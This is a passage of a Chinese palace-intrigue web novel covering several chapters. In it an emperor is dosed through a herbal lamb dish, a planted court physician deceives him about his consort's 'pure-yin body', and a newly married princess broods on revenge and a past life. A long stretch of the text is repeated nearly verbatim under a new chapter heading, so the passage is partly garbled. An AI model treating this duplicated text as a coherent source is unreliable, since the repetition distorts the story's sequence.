无事献殷勤,是想要为庞家求情吗? 霍静纭赶紧跪下了,微微垂着头:“皇上,臣妾可不是拎不清的人,安王大婚日,那庞开敢冲进洞房惊扰安王妃,死都便宜他了。” 靖安帝点了点头:“知道就好,起来吧。” “谢皇上。”霍静纭起身,伺候靖安帝用了几口羊汤。 靖安帝确实吃出来了羊汤味道鲜美,索性起身:“朕去尝一尝雁门关的灸全羊。” 霍静纭喜形于色,乖顺的跟在靖安帝身后往云烟阁来。 还没到门口,靖安帝就闻到了香味儿,跟平日里吃的羊肉味道完全不同,香得让人心动。 山珍海味他什么没吃过,可这羊肉却能让他体会到馋的感觉。 霍静纭让楚嬷嬷搬来了小桌子,靖安帝坐下,她亲自用剔骨刀分割羊肉,切成小块放在靖安帝面前的碟子里。 靖安帝吃了一块,非常有嚼劲,不像之前吃的羊肉,入口即化有什么意思? 一连吃了好几块,旁边的楚嬷嬷有些担心,宫里头谁不知道皇上在膳食上非常小心,一餐上百道菜,没有偏好,都会吃,也都不吃第二口,所以皇上喜欢吃什么没人知道,包括御膳房的大厨也不知道。 今儿虽说只有羊肉,可皇上吃的过于多了。 “在雁门关,牧民家里来了最尊贵的客人,才会上这道菜。”霍静纭跪坐在靖安帝身边,眼神带着思乡的意味,说:“烤全羊寻常,但用各种草药搭配秘方烤出来的全羊,我也只吃过一次。” 靖安帝顺口问了句:“那么难得吗?” “是啊,很难得的,因为草原虽然广袤,但凑齐这些草药可不容易,也就在宫里觉得简单,草药不用发愁。”霍静纭说到这里,停下了,偷偷打量靖安帝。 靖安帝睨了一眼她,问:“那次是如何吃到的?” “是姑祖母去看望祖父,祖父才让人准备了这道菜。”霍静纭说。 靖安帝微微的眯起眼睛:“霍静纭啊,你是聪明反被聪明误,拐弯抹角还是要说情,你以为朕不知道如今的庞家老夫人是霍家女吗?” “皇上息怒,臣妾并非故意提起,只是想起来了儿时往事,有些想家才会口无遮拦的。”霍静纭诚惶诚恐的跪下:“臣妾都没敢去看望姑祖母,就是为了避嫌。” 靖安帝冷哼一声,起身拂袖而去。 “皇上,臣妾知错了。”霍静纭带着哽咽的声音哀求。 楚嬷嬷在旁边看得清楚,霍静纭嘴角微微的勾了勾,果然不是个安分的,只是她敢对皇上出手吗?楚嬷嬷觉得她不敢。 “都分吃了吧。”霍静纭垂头丧气的回了寝宫。 鸿雁立刻跟上去。 楚嬷嬷看着烤全羊,吩咐人送去御膳房,吃了?她们不敢,但御膳房的人会着人查验,也会趁机学会这道菜的,毕竟皇上挺爱吃的。 只是楚嬷嬷怎么也没想到,刚处理好这些,林有德就来了,传旨让霍静纭侍寝,即刻就去。 楚嬷嬷如遭雷击,这贱蹄子竟然给皇上用了那种药了吗?不然怎么会突然让她去侍寝? 霍静纭把一张纸放进小衣里,太监进来把她抬出去。 御书房里,靖安帝眉头紧锁,他有些愤恨的低头看自己胯下,对霍静纭已经起了杀心,宫里妃嫔不少,若是都学她这般刷下作手段争宠,自己还不死在这上面? 霍静纭被放在了龙床旁边,太监退出去后,她轻轻地掀开被子,小心翼翼的从龙床尾爬上来,突然一只大手掐住了她的脖子,靖安帝冷声:“你敢算计朕!” “不敢,臣妾不敢。”霍静纭抬起头,从小衣里取出来那张纸:“皇上,这是烤全羊的方子,您找御医看看便知,臣妾绝不敢算计皇上。” 靖安帝拿过来纸,扔到地上:“林有德,送去尚药局。” 林有德立刻捡起来那张纸往尚药局去。 御书房里的动静挺吓人,门外伺候的小太监一个个面红耳赤,恨不得找个地缝儿钻进去,他们伺候在皇上身边的日子不短了,从来没听过皇上用如此粗俗的言语骂人,当然,不是打起来了,是皇上在发泄那点儿羊肉。 御医跟着林有德赶来的时候,御书房里还没消停。 林有德只能和御医在门外等着。 那御医双眼冒光的看着紧闭的房门,简直如同发现了稀世珍宝一般,他主要负责皇上那方面的事,皇上倒不是个纵欲的人,可架不住后宫妃嫔太多,所以早几年就虚了,他想尽办法也没有太明显的效果,虎狼的药也不敢给用,多少日子都睡不着了,就怕皇上发现自己力不从心,会说他没本事,把他的脑袋砍了。 有救了!有救了! 林有德害怕了,皇上就算在卫国公府里的时候,也没这么折腾啊,都过去半个时辰了,怎么还没完事? “张御医,这、不会有差池吧?”林有德小声问。 张绪摇头:“不会,本来就是温补的药,皇上正春秋鼎盛,不把这点儿火气泄了,那也不舒坦,放心吧,不伤身。” 林有德心里叹息,什么春秋鼎盛,自己整日里伺候在皇上身边,还有什么不知道的啊。 又等了足足一炷香,就听靖安帝中气十足的问:“林有德回来了吗?” “老奴在。”林有德赶紧出声。 靖安帝让林有德带着张绪觐见。 张绪进来没敢乱看,低着头来到靖安帝脚边跪下:“微臣给您请脉。” 靖安帝伸出手。 张绪仔细诊脉。 林有德在旁边紧张的很。 “恭喜皇上,实在是天大的喜事。”张绪退后半步磕头在地:“这羊肉本就大补,那草药被羊肉融合在一处,是天下第一补品,非但功效显著,还完全没有副作用。” 靖安帝也觉得奇怪,明明折腾的厉害,可他浑身哪哪都舒坦,并没有任何不适感觉,回头看好像是昏过去的霍静纭,给林有德递了个眼色。 林有德立刻让张绪给霍静纭诊脉。 张绪诊脉后,眉头紧锁半天。 靖安帝问:“她有什么不对?” “皇上,微臣曾经在一本古籍里看过,但不知真假,不敢说。”张绪说。 靖安帝蹙眉:“恕你无罪,说。” “是,那古籍说世上有一种女子,天生是男子的鼎炉。”张绪顿了顿,说:“贵妃娘娘体质特殊,像极了书上说的全阴之体,若古籍说得是真的,皇上跟贵妃娘娘孰伦,是在进补。” 靖安帝心思一动:“进补是何意?” “会让皇上越来越得心应手,延年益寿。”张绪磕头在地:“皇上,古籍是残本,不可全信。” 靖安帝信! 他想要长生不老! 坐拥天下的人,谁不想呢? 只可惜,是霍静纭,而不是林舒清,他更喜欢林舒清的有趣儿呢。 霍静纭没昏过去,听到这话心里头悬着的石头可算放下了,她可能误会祖父了,这张绪大概就是自己人。 张绪退下,回到尚药局。 进了自己办公的屋子,恭敬地垂首抱拳:“主子,事情办妥了。” “好,下一个是林舒清。”沈景行微微蹙眉,父兄他们还没有离宫,他有些担心啊。 第69章 坐拥天下的人,谁不想呢? 霍静纭赶紧跪下了,微微垂着头:“皇上,臣妾可不是拎不清的人,安王大婚日,那庞开敢冲进洞房惊扰安王妃,死都便宜他了。” 靖安帝点了点头:“知道就好,起来吧。” “谢皇上。”霍静纭起身,伺候靖安帝用了几口羊汤。 靖安帝确实吃出来了羊汤味道鲜美,索性起身:“朕去尝一尝雁门关的灸全羊。” 霍静纭喜形于色,乖顺的跟在靖安帝身后往云烟阁来。 还没到门口,靖安帝就闻到了香味儿,跟平日里吃的羊肉味道完全不同,香得让人心动。 山珍海味他什么没吃过,可这羊肉却能让他体会到馋的感觉。 霍静纭让楚嬷嬷搬来了小桌子,靖安帝坐下,她亲自用剔骨刀分割羊肉,切成小块放在靖安帝面前的碟子里。 靖安帝吃了一块,非常有嚼劲,不像之前吃的羊肉,入口即化有什么意思? 一连吃了好几块,旁边的楚嬷嬷有些担心,宫里头谁不知道皇上在膳食上非常小心,一餐上百道菜,没有偏好,都会吃,也都不吃第二口,所以皇上喜欢吃什么没人知道,包括御膳房的大厨也不知道。 今儿虽说只有羊肉,可皇上吃的过于多了。 “在雁门关,牧民家里来了最尊贵的客人,才会上这道菜。”霍静纭跪坐在靖安帝身边,眼神带着思乡的意味,说:“烤全羊寻常,但用各种草药搭配秘方烤出来的全羊,我也只吃过一次。” 靖安帝顺口问了句:“那么难得吗?” “是啊,很难得的,因为草原虽然广袤,但凑齐这些草药可不容易,也就在宫里觉得简单,草药不用发愁。”霍静纭说到这里,停下了,偷偷打量靖安帝。 靖安帝睨了一眼她,问:“那次是如何吃到的?” “是姑祖母去看望祖父,祖父才让人准备了这道菜。”霍静纭说。 靖安帝微微的眯起眼睛:“霍静纭啊,你是聪明反被聪明误,拐弯抹角还是要说情,你以为朕不知道如今的庞家老夫人是霍家女吗?” “皇上息怒,臣妾并非故意提起,只是想起来了儿时往事,有些想家才会口无遮拦的。”霍静纭诚惶诚恐的跪下:“臣妾都没敢去看望姑祖母,就是为了避嫌。” 靖安帝冷哼一声,起身拂袖而去。 “皇上,臣妾知错了。”霍静纭带着哽咽的声音哀求。 楚嬷嬷在旁边看得清楚,霍静纭嘴角微微的勾了勾,果然不是个安分的,只是她敢对皇上出手吗?楚嬷嬷觉得她不敢。 “都分吃了吧。”霍静纭垂头丧气的回了寝宫。 鸿雁立刻跟上去。 楚嬷嬷看着烤全羊,吩咐人送去御膳房,吃了?她们不敢,但御膳房的人会着人查验,也会趁机学会这道菜的,毕竟皇上挺爱吃的。 只是楚嬷嬷怎么也没想到,刚处理好这些,林有德就来了,传旨让霍静纭侍寝,即刻就去。 楚嬷嬷如遭雷击,这贱蹄子竟然给皇上用了那种药了吗?不然怎么会突然让她去侍寝? 霍静纭把一张纸放进小衣里,太监进来把她抬出去。 御书房里,靖安帝眉头紧锁,他有些愤恨的低头看自己胯下,对霍静纭已经起了杀心,宫里妃嫔不少,若是都学她这般刷下作手段争宠,自己还不死在这上面? 霍静纭被放在了龙床旁边,太监退出去后,她轻轻地掀开被子,小心翼翼的从龙床尾爬上来,突然一只大手掐住了她的脖子,靖安帝冷声:“你敢算计朕!” “不敢,臣妾不敢。”霍静纭抬起头,从小衣里取出来那张纸:“皇上,这是烤全羊的方子,您找御医看看便知,臣妾绝不敢算计皇上。” 靖安帝拿过来纸,扔到地上:“林有德,送去尚药局。” 林有德立刻捡起来那张纸往尚药局去。 御书房里的动静挺吓人,门外伺候的小太监一个个面红耳赤,恨不得找个地缝儿钻进去,他们伺候在皇上身边的日子不短了,从来没听过皇上用如此粗俗的言语骂人,当然,不是打起来了,是皇上在发泄那点儿羊肉。 御医跟着林有德赶来的时候,御书房里还没消停。 林有德只能和御医在门外等着。 那御医双眼冒光的看着紧闭的房门,简直如同发现了稀世珍宝一般,他主要负责皇上那方面的事,皇上倒不是个纵欲的人,可架不住后宫妃嫔太多,所以早几年就虚了,他想尽办法也没有太明显的效果,虎狼的药也不敢给用,多少日子都睡不着了,就怕皇上发现自己力不从心,会说他没本事,把他的脑袋砍了。 有救了!有救了! 林有德害怕了,皇上就算在卫国公府里的时候,也没这么折腾啊,都过去半个时辰了,怎么还没完事? “张御医,这、不会有差池吧?”林有德小声问。 张绪摇头:“不会,本来就是温补的药,皇上正春秋鼎盛,不把这点儿火气泄了,那也不舒坦,放心吧,不伤身。” 林有德心里叹息,什么春秋鼎盛,自己整日里伺候在皇上身边,还有什么不知道的啊。 又等了足足一炷香,就听靖安帝中气十足的问:“林有德回来了吗?” “老奴在。”林有德赶紧出声。 靖安帝让林有德带着张绪觐见。 张绪进来没敢乱看,低着头来到靖安帝脚边跪下:“微臣给您请脉。” 靖安帝伸出手。 张绪仔细诊脉。 林有德在旁边紧张的很。 “恭喜皇上,实在是天大的喜事。”张绪退后半步磕头在地:“这羊肉本就大补,那草药被羊肉融合在一处,是天下第一补品,非但功效显著,还完全没有副作用。” 靖安帝也觉得奇怪,明明折腾的厉害,可他浑身哪哪都舒坦,并没有任何不适感觉,回头看好像是昏过去的霍静纭,给林有德递了个眼色。 林有德立刻让张绪给霍静纭诊脉。 张绪诊脉后,眉头紧锁半天。 靖安帝问:“她有什么不对?” “皇上,微臣曾经在一本古籍里看过,但不知真假,不敢说。”张绪说。 靖安帝蹙眉:“恕你无罪,说。” “是,那古籍说世上有一种女子,天生是男子的鼎炉。”张绪顿了顿,说:“贵妃娘娘体质特殊,像极了书上说的全阴之体,若古籍说得是真的,皇上跟贵妃娘娘孰伦,是在进补。” 靖安帝心思一动:“进补是何意?” “会让皇上越来越得心应手,延年益寿。”张绪磕头在地:“皇上,古籍是残本,不可全信。” 靖安帝信! 他想要长生不老! 坐拥天下的人,谁不想呢? 只可惜,是霍静纭,而不是林舒清,他更喜欢林舒清的有趣儿呢。 霍静纭没昏过去,听到这话心里头悬着的石头可算放下了,她可能误会祖父了,这张绪大概就是自己人。 张绪退下,回到尚药局。 进了自己办公的屋子,恭敬地垂首抱拳:“主子,事情办妥了。” “好,下一个是林舒清。”沈景行微微蹙眉,父兄他们还没有离宫,他有些担心啊。 第70章 她求死,但要死得有价值。 霍静纭迁居栖梧宫,非东西六宫,而是在御书房旁边的一个不大的宫殿,虽小,但位置十分特殊,一直以来都不曾有妃子入住。 并且,赐一个福字,也是没有过的,福贵妃,这就让后宫都有些摸不到头脑了。 消息很快送出来了,林舒清有些摸不到头脑。 她知道沈三爷是让自己对付霍静纭的,以为这次霍静纭虽然不至于死,但一定会倒大霉,怎么看着都像是走大运了呢。 虽然不知道沈三爷葫芦里卖的是什么药,但相信霍静纭的便宜到最后肯定是个大坑。 自己不是个笨人,但跟沈三爷比起来到底太嫩了。 出了这么大的事,沈家人一夜未归不说,就连安王和安王妃也留在了宫里,就在群臣都猜测皇上会怎么对付庞家人的时候,早朝却只处理了一件事:沈景谦请辞。 群臣哗然,靖安帝坐在龙椅上沉默不语,沈景谦跪在大殿上一言不发。 片刻,群臣都安静下来了,一个个跟鹌鹑没什么区别,生怕接下来要接受皇上的雷霆之怒。 “沈爱卿,从太傅教习朕治国安邦之时,直到今日三十载忽而过去,当年你陪着朕一起背书,一起被罚,这些事都历历在目啊。”靖安帝开口。 沈景谦微微垂首:“彼时,父亲曾说过微臣,他说微臣难堪大任,资质愚钝,但运道极好,可陪天子身侧,他日能效力朝廷,当时时自省,不可愧对吾皇厚爱。” “可如今,你要离朕而去了。”靖安帝说。 沈景谦叩头在地:“皇上,微臣不得不如此,从小女及笄到小女完婚,发生太多事了,微臣深知皇恩浩荡,于沈家来说是天大的福分,可沈家的德行撑不住这份浩荡皇恩,已有崩势,若再不急流勇退,会累及子孙。” 这话,就明明白白说出来了。 群臣都冒冷汗了。 能站在这里,成为天子近臣,哪个不是人精一般的人物。 沈景谦是在告状? 当然不是,他是在破釜沉舟。 去意已决又能扶沈清樾上马,这边是沈家摆在皇上面前的目的,赤裸裸的以退为进,在靖安帝和沈景谦之间,这是阳谋! 阳谋无解。 但面对天子,可以掀桌,那沈家将要承受天子之怒,所以是破釜沉舟。 不提霍家,不提庞家,不提洞房血案,而是请辞。 别说朝堂上这些人了,就是满京城的人谁不知道沈家这几个月是怎么过来的,曾经简在帝心的沈家,简直一步一死劫的走到了今天,请辞是必然的。 靖安帝居高临下看着跪在大殿上的沈景谦,神色不明。 群臣都低着头,没人会站出来说一个字。 ** 太后在等,闭目养神,手里捻着佛珠,速度比寻常要快一些,显然心里并不平静。 沈家人在偏殿,司徒珩陪着沈清欢在沈家人隔壁。 二人相对而坐。 “庞开该死。”司徒珩抬头看沈清欢。 沈清欢迎着司徒珩的目光,那目光里有探究。 司徒珩柔声:“藐视天家,死有余辜。” 他不敢和沈清欢提自己脑海里出现的那些画面,那么真实,真实到他起了疑心,不知周之梦为胡蝶与,胡蝶之梦为周与? 初见,沈清欢的厌恶是毫不掩饰的。 拒婚霍云昭的手段可以看出端倪,她是知道一切走向的,包括那份密室里的栽赃信,到顺水推舟的请沈清瑶入局,果决的处理到沈清瑶母女几人,若说她全凭聪慧,司徒珩不信,因自己不知因何而来的心痛都是因沈清欢。 要说尚且有疑惑的地方,那就只剩下卫国公林家了,她不知道林家私下里的龌龊,甚至有意和林舒清交好,进香被算计,这些若沈清欢早就知道,那就断然不会发生,所以她不是知道一切,但知道沈家的一切。 沈家何止一个沈清欢,当沈清欢收回锋利的獠牙的时候,正是沈三爷露面的时候,也就是说沈清欢在知道沈家有人更厉害,更可以担当起破局人的时候,藏拙了。 由始至终,她从来都不愿意嫁给自己,但让她嫁给自己是沈三爷为她谋周全的下下策,因沈三爷不确定能不能让沈家全身而退,她同意这门婚事,却那么果决的在大婚之日杀掉庞开,是在报仇。 不顾一切。 想到这里,司徒珩轻轻地叹了口气,她哪里知道啊,她双手捧剑杀了庞开的场景,让自己知道太多了,尽管不是全部,但足以明白为何见到她后,如同被下了降头一般想要娶她,是纠葛太深。 “司徒珩。”沈清欢出声。 司徒珩轻声:“我在。” “让沈家离开京城,全走,一个不留,我能安心做你的安王妃,不管将来如何,可以用这条命报答这份恩情。”沈清欢说。 司徒珩抬起手压了压心口的位置,那种锥心刺骨的疼席卷全身,他的脸色都微微泛白了。 “你怎么了?”沈清欢看出来司徒珩有异,问。 司徒珩摇头:“无妨,只是你让我太心痛。” 沈清欢觉得有些可笑,心痛?会吗?漠北囚禁三年,自己死的屈辱,同样自己亲手杀了他啊。 说到底,司徒珩或许不欠沈家的,毕竟祖父救他一次,他救了自己,算是一报还一报,但司徒一族都是自己的仇人! “岳丈必定会成功的。”司徒珩说:“送沈家离开京城不难,可光明正大的离开。” 沈清欢点了点头。 这就足够了,自己的亲人只要去了漠北,自己只要一死,沈家会立刻入西凉,彻底摆脱桎梏,凭祖父、父亲和三叔的本事,沈家在西凉活得不会差。 她求死,但要死得有价值。 这条命从来都不是为了自己才留下的。 “我会信守诺言的。”沈清欢说。 两个人沉默下来,外面有宫女过来,恭敬地禀告:“王爷,沈大人请辞的事,皇上允了。” 沈清欢猛地抬头看司徒珩。 司徒珩神色凝重:“好,退下吧。” 宫女退下,司徒珩起身,伸出手要扶沈清欢。 沈清欢立刻站起来,虽没有躲闪,但心思摆在明面上,不愿意让司徒珩触碰她。 司徒珩收回手:“我们要去拜谢太后,送祖母和岳母出宫。” “嗯。”沈清欢微微侧开身,等司徒珩走出去两步,才跟上来。 闵太后没露面,只是让宫女传话,让司徒珩护送沈家人出宫。 宫门口,沈老夫人和沈夫人看着沈清欢。 沈清欢站在司徒珩身边,柔声:“祖母,母亲,阿灼有安王保护,尽可放心,快归家去吧,三叔一定等急了。” “安王,三朝回门,早些。”沈老夫人说。 司徒珩躬身:“是,祖母放心。” 沈清欢看着马车远去,偏头看司徒珩:“我们要入宫去请罪吗?” “不必,咱们回家。”司徒珩试探的伸出手。 沈清欢大大方方的递过去手,放在他的掌心。 如此足够了,司徒珩相信自己一定能找到答案,如今人在身边,不急! 第71章 如此用心,只怕会被辜负 安王府早已经收拾妥当。 司徒珩扶着沈清欢下了马车,看她。 “就回去那个房间。”沈清欢知道他是担心自己,不管这份担心是出于什么目的。 嫁给司徒珩最大的好处是可以让家人不担心,等沈家都去了漠北,自己在京城就可以放开手脚了。 没有后顾之忧,生死都置之度外,住在一个自己手刃仇人的院子里哪里会害怕?反而会畅快! 她重生归来,第一个仇人死在自己剑下,这感觉不足与外人道,但心里十分畅快。 甚至都理解了道家那句乱我道心是什么含义了。 司徒珩早就做了安排,但沈清欢容色如此淡然,他便陪着往主院来。 诚如司徒珩所说,安王府上无长辈,无妯娌,无小叔子和小姑子,她完全可以自由自在。 疏影和红缨可算见到了沈清欢,当着司徒珩的面,两个人要紧后槽牙守着规矩,伺候在身边。 司徒珩没有久留,他要去查看各处,虽说安王府里是安全的,但事无绝对,此次庞开扶灵归来,除了他之外还带着五百精锐,若这些人里有没头脑的,或是有人暗中怂恿,安王府无惧,但沈清欢绝对不可以再有什么风吹草动了。 疏影和红缨都红了眼眶,跪在沈清欢面前。 陈嬷嬷从外面进来看到这一幕,沉了脸色:“跪下作甚?扶着王妃去沐浴更衣。” “是。”疏影和红缨起身,两个人小心翼翼的抚着沈清欢往浴房去。 浴房里,热气腾腾,朱砂的味道十分明显,沈清欢坐在浴桶里闭目养神,她知道这院子必定边边角角都仔细的净宅过了,其实何须如此,自己又不在意。 疏影和红缨小心翼翼的给沈清欢浴发,陈嬷嬷在旁边坐在小凳子上。 “你们都是我的亲人,那晚的事不必记在心上,我既敢做就没有怕的。”沈清欢说。 在沈清欢取剑杀庞开的时候,陈嬷嬷全程都看在眼里,从小姐入宫到现在,她肠子都悔青了! 当时没反应过来,也怎么都没想到小姐会那般干净利索的杀人。 如今小姐就在眼前,陈嬷嬷还心有余悸,稳了稳心神,柔声说:“王妃,今非昔比,这里是安王府,饶是在沈家出这么大的事,也是瞒不住的。” 沈清欢嗯了一声。 “那天并非只有庞开一人,还有一些世家子,这件事会有风言风语的。”陈嬷嬷说。 沈清欢看着陈嬷嬷,勾起唇角:“奶娘,这世上的人多捧高踩低,若司徒珩不能护得我密不透风,那他才是会被人耻笑的人,你觉得庞家现如今的境地,还有人会为他们说话?” 陈嬷嬷哪里不明白这个道理,只是担心万一有风言风语,自家姑娘深受其害,就算再手眼通天的人也封不住别人的嘴。 沈清欢说:“不碍事,我全须全尾从宫里回府,庞家人都身陷囹圄,京城那些人就知道什么是闭嘴了,别的不说,太后赐给的凤冠,是司徒珩亲手摔碎的,这话说出去太后会相信?” “王妃,往后日子长着呢,还是要小心为上。”陈嬷嬷说。 沈清欢答应了句。 心里却在想,是啊,往后日子长着呢,自己还真需要徐徐图之,毕竟没有什么让自己出手的地方,等一等,祖父他们离开京城再说。 当晚。 司徒珩回到主院,厨房精心准备了席面,系着红绳的酒盏,点燃的龙凤烛,重新换了的红喜字。 沈清欢没有扫兴,换上嫁衣,静静地看着司徒珩。 “没有喝合卺酒,今儿补上。”司徒珩说。 沈清欢轻轻点头,看司徒珩一身红袍,大马金刀的坐在自己身边,修长的手指捻着酒杯送到沈清欢面前。 二人喝了合卺酒,竟相对无言。 司徒珩清了清嗓子:“知道你一定想见三叔,我差人去请了,先见一见府里的人。” “好。”沈清欢就要起身。 司徒珩伸出手握住了沈清欢的手:“阿灼。” “嗯?”沈清欢偏头看司徒珩。 司徒珩说:“我会护你周全,大婚那日是个意外。” “我相信你。”沈清欢勾起唇角笑了笑:“走吧,明儿一早还要去给母后请安呢。” 司徒珩就那么牵着沈清欢的手来到门口,院子外面跪着所有安王府的仆从,陈嬷嬷带着疏影和红缨,两个丫环手里捧着托盘,托盘上放着早就准备好的红封。 “白伯,让这些下人逐个见过王妃。”司徒珩说着,看了眼保生。 保生带着人搬来了两把椅子。 沈清欢坐着,白伯是安王府的大管事,外院管事是保生,内院没安排,是全交给沈清欢的。 这些仆从挨个给王妃磕头,陈嬷嬷给了红封赏赐。 沈清欢坐在椅子上看着统共也就二十个人的仆从,看了眼司徒珩。 司徒珩说:“就我一个人,用不了那么多人伺候,后院那些丫环婆子随后阿灼自己安排,咱们府里不会有人送奴仆进来。” 言外之意,不会有人安插进来眼线。 沈清欢在想,司徒珩如此小心翼翼做什么呢?反而让自己有些无所适从,其实两个人并不需要太亲近,毕竟当初说婚事,沈家和他都心知肚明,这婚事不过是摆个样子。 抬起手压了压额角,若是别人知道自己这么想的,那会认定自己是个心性薄凉的人吧。 白伯带着所有人给王妃磕头后退下,司徒珩伸出手的时候有些犹豫。 沈清欢自然的把手搭在他的掌心,感觉到他有些颤了颤的身体,出声:“司徒珩,给你添麻烦了,我不会拎不清,该做的都会尽力去做。” “你我之间,何须道谢。”司徒珩明白沈清欢是在为庞开的事道谢,他真觉得不需要,若无庞开的事,自己怎么会知道阿灼都经历来什么呢? 以前从不相信人有前世今生,如今他有些信了。 沈清欢问:“三叔会来吗?” 司徒珩点头:“一定会,我给你准备了小书房,带你过去看看可满意,若是觉得哪里不妥当,回头差人再重新拾掇。” 小书房就在主院的东厢,书房连着暖阁,到了冬日在暖阁里看书,必定惬意,这也是沈清欢在沈府时候的习惯。 书架上摆着各种各样的书,就连话本子都准备了不少。 香炉、坐榻、罗汉床,乍一进门沈清欢都有些恍惚,以为司徒珩直接把自己在沈府的书房都搬过来了呢,因真是一丝一毫都不差,架子上的书都是完全一摸一样的。 “你如此用心,只怕会被辜负。”沈清欢说。 司徒珩摇头:“不会,阿灼需要个共进退的人,我们如今是夫妻,夫妻本一体,我会让阿灼相信的,这世上能护着你的不止沈家人,还有我。” 沈清欢抬头,勾起唇角笑了。 司徒珩下意识的想要拥入怀中,不是情动,而是心疼。 沈景行在门外轻咳两声,司徒珩立刻退后半步站好,这反倒让沈清欢忍不住笑出声来,转身到门口:“三叔,您可算来了。” 第72章 同床共枕 沈景行看着侄女这波澜不惊的样子,心里舒坦不少。 杀人不对,但阿灼杀人不会错,庞开的死对沈清樾去漠北至关重要,并且也让自己看清楚了司徒珩是否能托付,太后的心意也昭然若揭。 事出反常的地方多了,反而显得一切都合理了。 “三叔,我去准备一下。”司徒珩说。 至于准备什么,那不重要,重要的是给二人说悄悄话的机会。 沈景行点头。 沈清欢请三叔进屋,落座后立刻问:“三叔,父亲那边准备好了吗?” “嗯,放心吧,漠北那边都准备好了。”沈景行打量着沈清欢:“阿灼,告诉三叔为何会杀庞开。” 沈清欢抿了抿嘴角。 “不想说?”沈景行微微挑眉:“这次机会难得,以后绝不可亲自动手,若什么人是该死的,跟三叔说就好。” 沈清欢亲自斟茶,送到沈景行面前:“三叔,我记下了,司徒珩和太后极力维护,这样的事不期待能发生第二次。” “霍静纭那边不用担心,你只管活得恣意张扬,林舒清那边不用接触,她自有我安排,家里人都去漠北,三叔不去。”沈景行说:“出嫁为人妇,要以安王为重,夫妻同心同德,那才是阿灼安身立命的仰仗。” 沈清欢微微低下头:“三叔,我和他……” “是夫妻,阿灼,人心啊,最坚不可摧,但是也最脆弱。”沈景行话锋一转:“邹氏那边别分心,我已经盯着沈清舟了。” 沈清欢在想,三叔真好,有三叔在,自己就像什么都不用做似的,他处处都想得周到,处处都安排的妥帖。 沈景行起身:“三朝回门,家里人都盼着呢,清越在你回门之后就要去漠北,家里人会等一等,大婚对月之后再离京。” “长兄独自去漠北,我不放心。”沈清欢说。 沈景行笑了:“司徒珩另有安排,放心吧。” 沈清欢说:“三叔,你和钟姑娘要去漠北完婚吗?” “自然。”沈景行起身:“无须担心这些,只管护好自己,太后疼惜你,多跟太后亲近。” 沈清欢送沈景行到门口。 沈景行停下脚步:“留步,好好稳一稳。” “嗯。”沈清欢乖巧的应声,看到门外站着的司徒珩,知道两个人必定有事要商量,转身回去了。 书房,沈景行取出来一封信放在桌子上:“漠北的人安排妥当了,里面是名册,把我的人放在你手里,清越还需要历练。” “三叔,庞家要回京。”司徒珩说。 沈景行点头:“皇上要拔钉子,尽可拔,兵权在清越手里就是在你手里,西凉那边只怕不安生,若有战事,趁机把霍家也拔掉,司徒珩,你要领会太后的心意。” 提到这个,司徒珩微微摇头:“这么多年都不觉得,可打从我封王分府后,总觉得太后有意要辅佐我更上一步,三叔,能不能查一查太后年轻时候的事,还有我的母亲到底是什么身份。” “查过。”沈景行说:“无可考证,太后做事滴水不露,只怕知道真相的唯有她一人。” 司徒珩也查过,结果是一样的。 沈景行离开前叮嘱司徒珩,切不可由着沈清欢闹腾,庞开的事万万不可发生第二次。 司徒珩想说自己护得住她,但这样的话一旦出口,沈景行势必会收拾自己,看似让沈清欢活得自在,可这样的事情无异于刀尖上起舞,把她置身在危险的境地中了。 送走沈景行,司徒珩回到主院,陈嬷嬷守在外面,郑嬷嬷在内室陪着沈清欢,疏影和红缨都在。 嫁到安王府,唯独多了一个陈嬷嬷。 这是祖母身边的老人,跟郑嬷嬷不同,陈嬷嬷的身份要更高一些,这是对祖母的敬重,也是对陈嬷嬷的了解,祖母把这个人藏在身边多年,临出嫁的时候才告诉沈清欢,郑嬷嬷曾经是宫里的人。 司徒珩进门,看沈清欢还没有睡,清了清嗓子:“都退下吧。” 沈清欢没言语,陈嬷嬷带着疏影和红缨退到门外,郑嬷嬷低声吩咐:“今儿我和红缨守夜,你们去歇息。” 陈嬷嬷往屋子里看了眼,郑嬷嬷微微摇头,那意思是不用管。 屋子里这一对儿和寻常的小夫妻不同,二人做什么都可以由着,这是沈老夫人叮嘱过的。 司徒珩坐在床边,偏头看沈清欢:“怎么不安置了?” “让人看到还以为我多么跋扈,沈家女可是打小就学规矩的,夫君不归,哪里能先睡下呢?”沈清欢说的极其自然。 司徒珩清了清嗓子:“我睡书房。” “大婚就见血,夫君睡书房,哪天太后问起来,我如实说,太后心里不舒坦,我撒谎呢,自己心里不舒坦,你在给我出难题。”沈清欢看司徒珩有些无措的样子,心里想,同床共枕又不是没有过,漠北三年啊,自己的床上有个他,算个什么事? 起身铺床,动作娴熟。 司徒珩立在一旁看着她摆好了一对儿枕头,嘴角直抽抽,讲真,别说沈清欢准没准备好,就是他现在都不敢越雷池一步。 “安置了吧。”沈清欢转过身看司徒珩。 司徒珩的脸腾一下就红了,有些无措。 沈清欢打量着司徒珩,这是个奇怪的男人,身边一个人都没有,如今这副毛头小子的样子,说出去谁能信呢? “不睡吗?”沈清欢打了个哈欠,转身摘了钗环首饰,心里还打算怎么说司徒珩,结果转身就见司徒珩已经躺下了,并且直溜溜的,眼睛都闭上了。 无奈的摇了摇头,转过身回到床边,掀开被子躺下,闭上眼睛有些睡不着,许多画面在脑海里轮番出现。 司徒珩偷偷看沈清欢,呼吸都不敢太用力,身体一阵阵的燥热让他恨不得起来就逃走,但明白沈清欢如此安排的用意,就算安王府再密不透风,也要提防有心人的算计,两个人若不同床共枕,别人就会趁机发难,比如当今,多疑的性子他太了解了,兵权放在自己手里,他不会放心的。 “司徒珩!” 司徒珩吓一跳,就见沈清欢坐起来了,赶紧伸出手把人拉住,紧紧地抱在怀里,她在哭,那眼泪落在他手背上,灼在心尖上了一般,他心口疼得厉害,柔声:“阿灼,我在。” 沈清欢突然低头,狠狠的咬住了他的手臂…… 第73章 阿灼,睡得好吗? 司徒珩没有动,疼得额角青筋凸起,另外一只手臂温柔的圈着沈清欢。 嘴里的血腥味儿让沈清欢瞬间清醒,睁开眼睛的同时松开了嘴,有些担忧的抬头看司徒珩。 “梦魇了。”司徒珩收回手臂藏在身后,轻声说:“别怕,阿灼。” 沈清欢跳下床跑去桌子上拿起来茶壶往嘴里灌,一只大手按住了她的手:“茶凉了。” 漱口,蹲下来呕吐,这可吓坏了司徒珩,他要叫人进来,被沈清欢拦住,冲着他微微摇头。 